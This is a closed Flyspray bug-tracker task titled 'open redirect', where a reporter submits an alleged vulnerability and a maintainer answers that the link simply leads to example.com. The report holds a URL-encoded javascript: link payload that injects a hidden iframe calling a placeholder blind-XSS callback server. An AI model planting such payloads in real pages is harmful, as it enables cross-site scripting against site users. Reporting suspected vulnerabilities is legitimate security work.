- Status Closed
- Assigned To No-one
- Private
Attached to Project: Security vulnerabilities
Opened by sabeesh - 24.11.2024
Last edited by cbay - 25.11.2024
Opened by sabeesh - 24.11.2024
Last edited by cbay - 25.11.2024
FS#105 - open redirect
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
<a href="javascript:(function()%7Bvar%20i%3Ddocument.createElement('iframe')%3Bi.src%3D'https%3A%2F%2Fyour-bxss-server.example.com'%3Bi.style.display%3D'none'%3Bdocument.body.appendChild(i)%7D)()">Click me</a>the user when he clicks the link gets redirect to the page without any warning for example https://evil.com
Hello,
We I click on your link, I go to https://example.com.
Anyway, we run the latest version of Flyspray, if you feel there's a vulnerability here you should report it to them.
Kind regards,
Cyril